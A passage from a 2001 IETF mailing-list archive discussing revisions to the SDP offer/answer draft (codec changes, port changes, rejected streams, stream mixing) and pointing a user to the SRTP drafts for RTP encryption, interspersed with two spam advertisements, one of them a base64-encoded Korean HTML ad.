from the new offer/answer as soon as it sends the answer, and MUST be
prepared to receive using codecs from the new answer as soon as it is sent.


> Also, what happens if the offer is 
> rejected ?

You no longer need to listen for media using the new codecs/ports. I added a
few sentences to that effect:

Of course, if the offered stream is rejected, the offer can cease
being prepared to receive using the new port as soon as the
rejection is received.


and:

Of course, if the offered stream is rejected, the offer can cease
being prepared to receive using any new codecs as soon as the
rejection is received.

> 
> - Finally, for generality, the I-D should probably avoid some 
> of the SIP
> specific wording (e.g. "re-INVITE", "sending a SIP message") 
> and simply
> talk about sending offers and answers.
> 

Done.

This did require the movement of one paragraph from this draft back into
bis:

This means that a 
re-{\INVITE} {\MAY} contain no SDP, so that the 200 OK to the
re-{\INVITE} contains the offer. In this case, the
offerer {\MUST} offer the same SDP it provided previously. This is to
ensure that the offered SDP in the 2xx will be acceptable to the UAC,
as there is no way to reject it.


This will appear in bis-06.

Thanks,
Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Tue Dec  4 11:53:28 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA22462
	for confctrl-outgoing; Tue, 4 Dec 2001 11:53:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA22457
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 11:53:27 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB4Js9g22242
	for <confctrl@ISI.EDU>; Tue, 4 Dec 2001 11:54:09 -0800 (PST)
Received: from mira-sjc5-6.cisco.com (mira-sjc5-6.cisco.com [171.71.163.23])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fB4Jrqg02058;
	Tue, 4 Dec 2001 14:53:57 -0500 (EST)
Received: from mbaugher-w2k1.cisco.com (sjc-vpn1-499.cisco.com [10.21.97.243])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with ESMTP id AAK94855;
	Tue, 4 Dec 2001 11:51:37 -0800 (PST)
Message-Id: <4.3.2.7.2.20011204114948.0f0236f8@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 04 Dec 2001 11:50:22 -0800
To: "'Doctor Malek'" <doctor_malek@hotmail.com>
From: Mark Baugher <mbaugher@cisco.com>
Subject: RE: RTP encryption under SIP signalling!
Cc: confctrl@ISI.EDU
In-Reply-To: <B65B4F8437968F488A01A940B21982BF020D70C9@DYN-EXCH-001.dyna
 micsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

http://search.ietf.org/internet-drafts/draft-ietf-avt-srtp-02.txt

regards, Mark

At 01:15 AM 12/4/2001 -0500, Jonathan Rosenberg wrote:
>http://www.ietf.org/internet-drafts/draft-ietf-mmusic-kmgmt-ext-00.txt
>
>
>-----Original Message-----
>From: Doctor Malek [mailto:doctor_malek@hotmail.com]
>Sent: Monday, December 03, 2001 10:13 AM
>To: confctrl@ISI.EDU
>Subject: RTP encryption under SIP signalling!
>
>
>Dear Sirs,
>
>I use a SIP Client and i want to encrypt RTP (first use asymmetric algorithm
>like RSA for symmetric key encryption then encrypt RTP data with symmetric
>Algo. like DES) data but it seems that SDP protocol dont supply this !
>
>Is that sinario posible with SDP ?
>
>Can u help me? which protocol setting shall i use? which protocol ?
>
>Best regards,
>Dr. Malek
>
>
>
>Get your FREE download of MSN Explorer at http://explorer.msn.com
>
>---
>Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
>Chief Scientist                             First Floor
>dynamicsoft                                 East Hanover, NJ 07936
>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>http://www.jdrosen.net                      PHONE: (973) 952-5000
>http://www.dynamicsoft.com


From confctrl-owner  Tue Dec  4 11:54:49 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA22519
	for confctrl-outgoing; Tue, 4 Dec 2001 11:54:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA22506
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 11:54:46 -0800 (PST)
Received: from tomts20-srv.bellnexxia.net (tomts20.bellnexxia.net [209.226.175.74])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB4JtSg23067
	for <confctrl@isi.edu>; Tue, 4 Dec 2001 11:55:28 -0800 (PST)
Received: from [216.208.211.28] by tomts20-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with SMTP
          id <20011204195521.ZNDG25459.tomts20-srv.bellnexxia.net@[216.208.211.28]>
          for <confctrl@isi.edu>; Tue, 4 Dec 2001 14:55:21 -0500
From: MG PUBLISHING <mgpubl@financier.com>
To: confctrl@ISI.EDU
Subject: SUBSIDIES, GRANTS, LOANS, FINANCING
X-Mailer: Mailer Signature
Reply-To: mgpubl@financier.com
Date: Tue, 4 Dec 2001 14:54:42 -0500
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-Id: <20011204195521.ZNDG25459.tomts20-srv.bellnexxia.net@[216.208.211.28]>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



MG PUBLISHING
4865 HWY 138,R.R 1
ST-ANDREWS WEST
ONTARIO, KOC 2A0


PRESS RELEASE

CANADIAN SUBSIDY DIRECTORY YEAR 2001 EDITION
Legal Deposit-National Library of Canada
ISBN 2-922870-01-4

M.G. Publishing is offering to the public a revised edition of the Canadian
Subsidy Directory, a guide containing more than 2300 direct and indirect
financial subsidies, grants and loans offered by government departments and
agencies, foundations, associations and organizations.  In this new 2001 edition
all programs are well described.

The Canadian Subsidy Directory is the most comprehensive tool to start up a
business, improve existent activities, set up a business plan, or obtain
assistance from experts in fields such as: Industry, transport, agriculture,
communications, municipal infrastructure, education, import-export, labor,
construction and renovation, the service sector, hi-tech industries, research
and development, joint ventures, arts, cinema, theatre, music and recording
industry, the self employed, contests, and new talents.
Assistance from and for foundations and associations, guidance to prepare a
business plan, market surveys, computers, and much more!

To obtain the Canadian Subsidy Directory call one of the following distributors:

Fureteur: 450-465-5597
Canadian Publications 866-322-3376

To remove your e-mail from our mailing list contact us at: mgpubl@financier.com


***
...

From confctrl-owner  Tue Dec  4 14:29:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA28333
	for confctrl-outgoing; Tue, 4 Dec 2001 14:29:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA28319
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 14:29:24 -0800 (PST)
Received: from 02 ([61.79.230.210])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fB4MU3g08880
	for <confctrl@isi.edu>; Tue, 4 Dec 2001 14:30:04 -0800 (PST)
Message-Id: <200112042230.fB4MU3g08880@tnt.isi.edu>
From: =?ks_c_5601-1987?B?x9HAz7/s?= <hanil@hanmail.net>
To: confctrl@ISI.EDU
Subject: =?ks_c_5601-1987?B?W8GkurjBprD4IF0godoguau34bfOIMbIvsYgteW4s7TPtNkuLg==?=
Date: Wed, 05 Dec 2001 07:31:29 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0077_01C0F05A.93A31C00"
X-Priority: 3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0077_01C0F05A.93A31C00
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

Ojo6IMbEtvPB1rbzILjewM8gud+82yA6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6ICAgICAgICAgICAg
ICAgICAgICAgICAguNXA+iC758D8IL7nx9i++MDMILjewM/AuyC6uLO7teW3wSDBy7zbx9W0
z7TZLg0KILq7ILjewM/AuiDBpMXrus4gscew7bvnx9e/oSDAx7DFIMGmuPG/oSixpLDtKbbz
IMelvcO1yCCxpLDtILjewM/A1LTPtNkuDQogtPXAzLvzILjewM/AuyC53rDtvc3B9iC+ysC4
vcO46SBbvPa9xbDFus5duKYgtK23r8HWvLy/5C4NCiDBy7zbx9W0z7TZLg0KICAgICAgICAg
ICAgICAgICA=

------=_NextPart_000_0077_01C0F05A.93A31C00
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT46OjogxsS288HWtvMguN7AzyC537zbIDo6Ojo6Ojo6
Ojo6Ojo6Ojo6Ojo8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBj
b250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9ZXVjLWtyIj4NCjxzdHlsZSB0eXBlPSJ0ZXh0
L2NzcyI+DQo8IS0tDQphOmxpbmssYTphY3RpdmUsYTp2aXNpdGVke3RleHQtZGVjb3JhdGlv
bjpub25lOyBjb2xvcjojMDAwMDAwfQ0KYTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJs
aW5lOyBjb2xvcjojMDI1YTk3fQ0KDQphLjE6bGluayxhLjE6YWN0aXZlLGEuMTp2aXNpdGVk
e3RleHQtZGVjb3JhdGlvbjpub25lOyBjb2xvcjojQzYwMDAwfQ0KYS4xOmhvdmVye3RleHQt
ZGVjb3JhdGlvbjp1bmRlcmxpbmU7IGNvbG9yOiMzMzMzMzN9DQoNCnRke2ZvbnQtc2l6ZTo5
cHR9DQpkaXZ7Zm9udC1zaXplOjlwdH0NCg0KYm9keSB7DQogICAgICAgIHNjcm9sbGJhci1m
YWNlLWNvbG9yOiNmZmZmZmY7DQogICAgICAgIHNjcm9sbGJhci1zaGFkb3ctY29sb3I6Izc4
Nzg3ODsNCiAgICAgICAgc2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjojZjNmM2YzOw0KICAg
ICAgICBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjojZmZmZmZmOw0KICAgICAgICBzY3JvbGxi
YXItZGFya3NoYWRvdy1jb2xvcjojZmZmZmZmOw0KICAgICAgICBzY3JvbGxiYXItdHJhY2st
Y29sb3I6I2ZmZmZmZjsNCiAgICAgICAgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiM3ODc4NzgN
Cn0NCi0tPg0KPC9oZWFkPg0KDQo8Ym9keSBiZ2NvbG9yPSIjRkZGRkZGIj4NCg0KPC9ib2R5
Pg0KPC9odG1sPg0KPGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiIgbGVmdG1hcmdpbj0iMCIgdG9w
bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIiBiYWNrZ3JvdW5k
PSJpbWFnZS9iZy5naWYiPg0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3Jp
cHQiPg0KPCEtLQ0KZnVuY3Rpb24gTU1fb3BlbkJyV2luZG93KHRoZVVSTCx3aW5OYW1lLGZl
YXR1cmVzKSB7IC8vdjIuMA0KICB3aW5kb3cub3Blbih0aGVVUkwsd2luTmFtZSxmZWF0dXJl
cyk7DQp9DQovLy0tPg0KPC9zY3JpcHQ+DQo8Ym9keSBiYWNrZ3JvdW5kPSJpbWFnZS9iZy5n
aWYiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdp
bmhlaWdodD0iMCI+DQo8dGFibGUgd2lkdGg9IjYzNSIgYm9yZGVyPSIwIiBjZWxsc3BhY2lu
Zz0iMCIgY2VsbHBhZGRpbmc9IjAiIGFsaWduPSJjZW50ZXIiPg0KICA8dHI+IA0KICAgIDx0
ZCBoZWlnaHQ9IjIzIj48aW1nIHNyYz0iaHR0cDovL3BhcmFqdXJhLmNvbS9tYWlsMDIvaW1h
Z2UvbWFpbF8wMS5naWYiIHdpZHRoPSI2MzUiIGhlaWdodD0iNjYiIHVzZW1hcD0iI01hcCIg
Ym9yZGVyPSIwIj48L3RkPg0KICA8L3RyPg0KICA8dHI+IA0KICAgIDx0ZCBoZWlnaHQ9IjU4
Ij48aW1nIHNyYz0iaHR0cDovL3BhcmFqdXJhLmNvbS9tYWlsMDIvaW1hZ2UvbWFpbF8wMi5n
aWYiIHdpZHRoPSI2MzUiIGhlaWdodD0iNTgiPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4gDQog
ICAgPHRkIGhlaWdodD0iNzEiPjxpbWcgc3JjPSJodHRwOi8vcGFyYWp1cmEuY29tL21haWww
Mi9pbWFnZS9tYWlsXzAzLmdpZiIgd2lkdGg9IjYzNSIgaGVpZ2h0PSI3MSIgdXNlbWFwPSIj
TWFwMiIgYm9yZGVyPSIwIj48L3RkPg0KICA8L3RyPg0KICA8dHI+IA0KICAgIDx0ZD48aW1n
IHNyYz0iaHR0cDovL3BhcmFqdXJhLmNvbS9tYWlsMDIvaW1hZ2UvbWFpbF8wNC5naWYiIHdp
ZHRoPSI2MzUiIGhlaWdodD0iNzAiIHVzZW1hcD0iI01hcDMiIGJvcmRlcj0iMCI+PC90ZD4N
CiAgPC90cj4NCiAgPHRyPiANCiAgICA8dGQ+PGltZyBzcmM9Imh0dHA6Ly9wYXJhanVyYS5j
b20vbWFpbDAyL2ltYWdlL21haWxfMDUuZ2lmIiB3aWR0aD0iNjM1IiBoZWlnaHQ9IjY5IiB1
c2VtYXA9IiNNYXA0IiBib3JkZXI9IjAiPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4gDQogICAg
PHRkIGhlaWdodD0iMzgiPjxpbWcgc3JjPSJodHRwOi8vcGFyYWp1cmEuY29tL21haWwwMi9p
bWFnZS9tYWlsXzA2LmdpZiIgd2lkdGg9IjYzNSIgaGVpZ2h0PSI3MSIgdXNlbWFwPSIjTWFw
NSIgYm9yZGVyPSIwIj48L3RkPg0KICA8L3RyPg0KICA8dHI+IA0KICAgIDx0ZCBoZWlnaHQ9
Ijc1Ij48aW1nIHNyYz0iaHR0cDovL3BhcmFqdXJhLmNvbS9tYWlsMDIvaW1hZ2UvbWFpbF8w
Ny5naWYiIHdpZHRoPSI2MzUiIGhlaWdodD0iMTg4IiB1c2VtYXA9IiNNYXA2IiBib3JkZXI9
IjAiPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4gDQogICAgPHRkIGhlaWdodD0iMTA3IiBiYWNr
Z3JvdW5kPSJodHRwOi8vcGFyYWp1cmEuY29tL21haWwwMi9pbWFnZS9tYWlsXzA4LmdpZiI+
DQogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPrjVwPogu+fA/CC+58fYvvjAzCC43sDPwLsg
urizu7Xlt8Egwcu828fVtM+02S48YnI+DQogICAgICAgILq7ILjewM/AuiDBpMXrus4gscew
7bvnx9e/oSDAx7DFIMGmuPG/oSixpLDtKbbzIMelvcO1yCCxpLDtILjewM/A1LTPtNkuPGJy
Pg0KICAgICAgICC09cDMu/MguN7Az8C7ILnesO29zcH2IL7KwLi9w7jpIDxiPls8YSBocmVm
PSJtYWlsdG86cGFyYWp1cmFAcGFyYWp1cmEuY29tIj689r3FsMW6zjwvYT5dPC9iPrimILSt
t6/B1ry8v+QuPGJyPg0KICAgICAgICDBy7zbx9W0z7TZLjwvZGl2Pg0KICAgIDwvdGQ+DQog
IDwvdHI+DQo8L3RhYmxlPg0KPG1hcCBuYW1lPSJNYXAiPiANCiAgPGFyZWEgc2hhcGU9InJl
Y3QiIGNvb3Jkcz0iNyw3LDE4MSw1MSIgaHJlZj0iaHR0cDovL3d3dy5wYXJhanVyYS5jb20i
IHRhcmdldD0iX2JsYW5rIiBhbHQ9IsbEtvPB1rbztOXExMC4t84iIHRpdGxlPSLGxLbzwda2
87TlxMTAuLfOIj4NCiAgICAgIDwvbWFwPg0KPG1hcCBuYW1lPSJNYXAyIj4gDQogIDxhcmVh
IHNoYXBlPSJwb2x5IiBjb29yZHM9IjQ1MywyNyw0NTQsNDgsNTMxLDQ5LDUzMiw2Miw1OTks
MzcsNTMzLDE0LDUzMiwyOSw0NTEsMjYiIGhyZWY9Imh0dHA6Ly93d3cucGFyYWp1cmEuY29t
IiB0YXJnZXQ9Il9ibGFuayIgYWx0PSLB97DFt6HA5cXNIiB0aXRsZT0iwfewxbehwOXFzSI+
DQo8L21hcD4NCjxtYXAgbmFtZT0iTWFwMyI+IA0KICA8YXJlYSBzaGFwZT0icG9seSIgY29v
cmRzPSI0NTMsMjYsNDUzLDQ2LDUzMiw0OSw1MzIsNjIsNTk5LDM4LDUzMiwxNSw1MzEsMjgs
NDU1LDI2IiBocmVmPSJodHRwOi8vd3d3LnBhcmFqdXJhLmNvbSIgdGFyZ2V0PSJfYmxhbmsi
IGFsdD0ius61v7vqwPy5rrj0IiB0aXRsZT0ius61v7vqwPy5rrj0Ij4NCjwvbWFwPg0KPG1h
cCBuYW1lPSJNYXA0Ij4gDQogIDxhcmVhIHNoYXBlPSJwb2x5IiBjb29yZHM9IjQ1NCwyNiw1
MzMsMjYsNTMzLDE2LDYwMCwzOCw1MzQsNjAsNTMyLDQ5LDQ1NCw1MCw0NTMsMjYiIGhyZWY9
Imh0dHA6Ly93d3cucGFyYWp1cmEuY29tIiB0YXJnZXQ9Il9ibGFuayIgYWx0PSLIuL/4sKHA
1CIgdGl0bGU9Isi4v/iwocDUIiBvbkNsaWNrPSJNTV9vcGVuQnJXaW5kb3coJ2h0dHA6Ly93
d3cucGFyYWp1cmEuY29tL21lbWJlcnNoaXAvbWVtYmVyX2dhaXAuaHRtJywnJywnc2Nyb2xs
YmFycz15ZXMsd2lkdGg9NjIwLGhlaWdodD01MDAnKSI+DQo8L21hcD4NCjxtYXAgbmFtZT0i
TWFwNSI+IA0KICA8YXJlYSBzaGFwZT0icG9seSIgY29vcmRzPSI0NTMsMjcsNDUyLDQ5LDUz
MCw1MCw1MzIsNjIsNTk4LDM4LDUzMiwxNSw1MzEsMjcsNDU0LDI2IiBocmVmPSJodHRwOi8v
d3d3LnBhcmFqdXJhLmNvbS9wYXJ0bmVyL3BhcnRlcl9kZWZhdWx0Lmh0bSIgdGFyZ2V0PSJf
YmxhbmsiIGFsdD0iu/nHw7q4seIiIHRpdGxlPSK7+cfDurix4iI+DQo8L21hcD4NCjxtYXAg
bmFtZT0iTWFwNiI+IA0KICA8YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxMCw2LDIxMCwx
ODIiIGhyZWY9Imh0dHA6Ly93d3cucGFyYWp1cmEuY29tL2hvbWVwYWdlL2hvbWVwYWdlLmh0
bSIgdGFyZ2V0PSJfYmxhbmsiIGFsdD0iu/nHwzEiIHRpdGxlPSK7+cfDMSI+DQogIDxhcmVh
IHNoYXBlPSJyZWN0IiBjb29yZHM9IjIxNyw1LDQxNiwxNzgiIGhyZWY9Imh0dHA6Ly93d3cu
cGFyYWp1cmEuY29tL2hvbWVwYWdlL2hvbWVwYWdlLmh0bSIgdGFyZ2V0PSJfYmxhbmsiIGFs
dD0iu/nHwzIiIHRpdGxlPSK7+cfDMiI+DQogIDxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9
IjQyNCw1LDYyNCwxNzkiIGhyZWY9Imh0dHA6Ly93d3cucGFyYWp1cmEuY29tL2hvbWVwYWdl
L2hvbWVwYWdlLmh0bSIgdGFyZ2V0PSJfYmxhbmsiIGFsdD0iu/nHwzMiIHRpdGxlPSK7+cfD
MyI+DQo8L21hcD4NCg==

------=_NextPart_000_0077_01C0F05A.93A31C00--


From confctrl-owner  Tue Dec  4 14:57:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA29546
	for confctrl-outgoing; Tue, 4 Dec 2001 14:57:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA29541
	for <confctrl@zephyr.isi.edu>; Tue, 4 Dec 2001 14:57:11 -0800 (PST)
Received: from radvpost.us.radvision.com ([38.150.216.6])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB4Mvrg26091
	for <confctrl@ISI.EDU>; Tue, 4 Dec 2001 14:57:54 -0800 (PST)
Received: by RADVPOST with Internet Mail Service (5.5.2650.21)
	id <Y22K2ZZW>; Tue, 4 Dec 2001 17:56:40 -0500
Message-ID: <0D5BBF5D638DD4119E3400508BD949459ED734@RADVPOST>
From: Orit Levin <orit@radvision.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'Flemming Andreasen'"
	 <fandreas@cisco.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: MMUSIC <confctrl@ISI.EDU>
Subject: RE: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
Date: Tue, 4 Dec 2001 17:56:38 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Jonathan!
I agree with most of Flemming's comments.
There is an additional issue though. In order for the draft to become
clearer, it would be very helpful to provide  and use definitions
differentiating among the three cases:
1. a single media stream (i.e. a codec within an m-line)
2. (a proposal/offer/answer as) a single m-line (that may specify a number
of codecs)
3. (a proposal/offer/answer consisting of) several m-lines
Additionally, the meaning of "the source of the stream" is not clear enough.
Are you referring to one of the RTP/RTCP fields or is it based upon an
application interpretation? What correlation would it have to the three
cases above?
The Offer-Answer semantics may be different based on the three cases above.
For example, the controversial "mixing" part requires clearer definition:
 "When receiving multiple streams of the same type, the streams MUST be
mixed before playing them out."	
I guess, we are talking about multiple m-lines, otherwise the "mixing" would
have been implicit "in time". (The FID is yet a separately defined case.)
The provided example reads as it were the case of "de-multiplexing" rather
then mixing.
May be it is just a terminology problem here, but it seems that in the
majority of cases, the "mixing" is not required.
For example, if you are sending stereo, the last thing would be "to mix" it
by the receiving side.
If it is, indeed, the case of multiple m-lines, could you provide (a) more
visual scheme(s) for the use of the proposed "mixing"?

Thanks,
Orit Levin
Chief Architect
RADVISION Inc.
TEL: +1.201.529.4300 x 230
FAX: +1.201.529.3516

 -----Original Message-----
From: 	Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] 
Sent:	Tuesday, December 04, 2001 12:33 PM
To:	'Flemming Andreasen'; Jonathan Rosenberg; Henning Schulzrinne
Cc:	MMUSIC
Subject:	RE: Comments on
<draft-rosenberg-mmusic-sdp-offer-answer-00.txt>


Flemming,

Thanks for the detailed comments. Responses inline.
 

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@cisco.com]
> Sent: Tuesday, November 06, 2001 6:26 PM
> To: Jonathan Rosenberg; Henning Schulzrinne
> Cc: MMUSIC
> Subject: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
> 
> 
> Thanks for putting together
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>. A couple of 
> questions
> and comments:
> 
> - Section 2 specifies that "Either an e line or p line MUST 
> be present."
> however this was made optional in 
> <draft-ietf-mmusic-sdp-new-03.txt>. In
> general, I think we should avoid stating or repeating 
> requirements that
> belong in the SDP specification itself.

Yes, good points.

I don't want to make offer-answer dependent on sdp-new. However, what I will
do is state that the SDP must be valid, as specified in rfc2327, except that
the restriction on having either an e or p line is lifted, so that neither
may be present. This brings us into alignment without introducing a
dependency. The draft says that its recommended that you accept SDP without
these, but that wording is not strong enough for interop.


> 
> - Section 2 mentions that SDP allows for concatenation of multiple
> session descriptions. I can't seem to find this in the SDP 
> spec - where
> does it say that ?

Page 7:

   When SDP is conveyed by SAP, only one session description is allowed
   per packet.  When SDP is conveyed by other means, many SDP session
   descriptions may be concatenated together (the `v=' line indicating
   the start of a session description terminates the previous
   description). 


> 
> - Section 2 says that "Once the offerer has sent the offer, it MUST be
> prepared to receive media described by that offer." For send/receive
> media streams, I believe the offerer must also be prepared to 
> send such
> media (although obviously it can't until it gets the answer).

I don't understand. If it can't send until it gets the answer, what does it
mean to be prepared to send after sending the offer?

> 
> - Section 2.1: I share the concerns raised by others about 
> the following
> sentence: "When receiving multiple streams of the same type, 
> the streams
> MUST be mixed before playing them out". This seems overly restrictive.

Without well defined behavior, I don't see how we will have reasonable
interoperability. Applications will depend on knowing what the end system
will do with media. What would be your proposal?


> 
> - Section 3: The sentence "The definition of rejected is both neither
> offerer and answerer MUST NOT generate media (or RTCP 
> packets) for that
> stream." doesn't seem to parse quite right.

OK. How about:

If a stream is rejected, the offerer and
answerer {\MUSTNOT} generate media (or RTCP packets) for that
stream. 

> 
> - Section 3 says that "Once the answer has been sent, the 
> answerer MUST
> be prepared to receive media as described in the answer.". For
> send/receive streams I believe the answerer must also be prepared to
> send such media.

Same as above; I don't understand what this means.

> 
> - Section 3.1. says (for sendrecv media streams) that "The stream MAY
> indicate additional codecs, not listed in the corresponding stream in
> the offer, that the answerer is willing to receive with." 
> This makes the
> interpretation of the codecs listed context-dependent which is fairly
> unfortunate. If the answerer wishes to add additional codecs to the
> sendrecv stream, he should be able to both send and receive 
> those codecs
> (regardless of whether the offerer seems interested in receiving media
> encoded with such codecs).

Well, he can't send with them, since the offerer hasn't indicated that they
are supported. So, effectively, they are receive only.


> 
> - Section 4.3 says that "The offerer MUST NOT cease listening 
> for media
> on the old port until media arrives on the new port. At that time, it
> MAY cease listening for media on the old port.". This means that you
> allow the presence of media to serve as confirmation of your offer. I
> think this opens up a race condition and would prefer getting 
> the answer
> back as well.

Thats a good point. Text now reads:

soon as the offer is sent. The offerer {\MUSTNOT} cease listening for
media on the old port until the answer is received and media arrives
on the new port. At that time, it {\MAY} cease listening for media on
the old port. 


> 
> - Section 4.3. says that "When a new codec is used with a dynamic
> payload type number, it MUST NOT reuse a dynamic payload type number
> used previously in the session.". I don't think the sentence 
> accurately
> captures the intention (since "new codec" seems to simply refer to the
> most recent offer) which I belive is simply to forbid changing the
> mapping from a given payload type to a given codec. If that 
> mapping was
> done X offer/invite exchanges ago, and we want to reuse it now, it
> should be allowed.

Correct. 

I've reworded. It now reads:

The list of codecs used in the session {\MAY} be changed. To do this,
the offerer creates a new media description, with the list of media
formats in the m line different from the corresponding stream in the
previous SDP. This list {\MAY} include new codecs, and {\MAY} remove
codecs present from the previous SDP. However, the mappings of a
particular codec to a dynamic payload type number {\MUSTNOT} change
for the duration of a session. For example, if A generates an offer
with G.711 assigned to dynamic payload type number 46, and then later
updates the session by removing the codec, and then once again adds it
back, dynamic payload type number 46 could not be used for any other
codec except for G.711. However, it is acceptable for multiple payload
type numbers to be mapped to the same codec, so that an updated offer
would use payload type number 72 for G.711. The mappings need to
remain fixed for the duration of the session because of the loose
synchronization between signaling exchanges of SDP and the media
stream. 


Is this better?

> 
> - Section 4.3 is silent on what the offerer and answerer do with the
> codecs (and media types) from the previous successful offer/answer. At
> what point do the offerer and answerer stop accepting media 
> according to
> the old offer and answer ?

Good question. Its simple when there is no overlap in the set of codecs
between the original offer and the new one; you accept on the old until you
get both the answer AND someone starts using the new codecs. When there is
overlap, its more complex. If the other side changes codecs to one of the
overlapping codecs, you don't know if this was due to receiving the offer,
or just an unrelated change in selection of media for the previous offer.

How about this:

The corresponding media stream in the answer is formulated as
described in Section \ref{sec:sdp:answer}. The offerer MUST be
prepared to use codecs from the old offer/answer exchange, until it
(1) receives the answer, and (2) receives media using a codec not
previously allowed from the old offer/answer exchange, or one minute
elapses, which ever happens first. The offerer MUST send using codecs
from the new offer/answer as soon as the answer is received, and MUST
be prepared to receive using codecs from the new offer as soon as the
offer is sent. The answerer MUST be prepared to use codecs from the
old offer/answer exchange until it receives media using a codec not
previously allowed from the old offer/answer exchange, or one minute
elapses, which ever happens first. The answerer MUST send using codecs
from the new offer/answer as soon as it sends the answer, and MUST be
prepared to receive using codecs from the new answer as soon as it is sent.


> Also, what happens if the offer is 
> rejected ?

You no longer need to listen for media using the new codecs/ports. I added a
few sentences to that effect:

Of course, if the offered stream is rejected, the offer can cease
being prepared to receive using the new port as soon as the
rejection is received.


and:

Of course, if the offered stream is rejected, the offer can cease
being prepared to receive using any new codecs as soon as the
rejection is received.

> 
> - Finally, for generality, the I-D should probably avoid some 
> of the SIP
> specific wording (e.g. "re-INVITE", "sending a SIP message") 
> and simply
> talk about sending offers and answers.
> 

Done.

This did require the movement of one paragraph from this draft back into
bis:

This means that a 
re-{\INVITE} {\MAY} contain no SDP, so that the 200 OK to the
re-{\INVITE} contains the offer. In this case, the
offerer {\MUST} offer the same SDP it provided previously. This is to
ensure that the offered SDP in the 2xx will be acceptable to the UAC,
as there is no way to reject it.


This will appear in bis-06.

Thanks,
Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

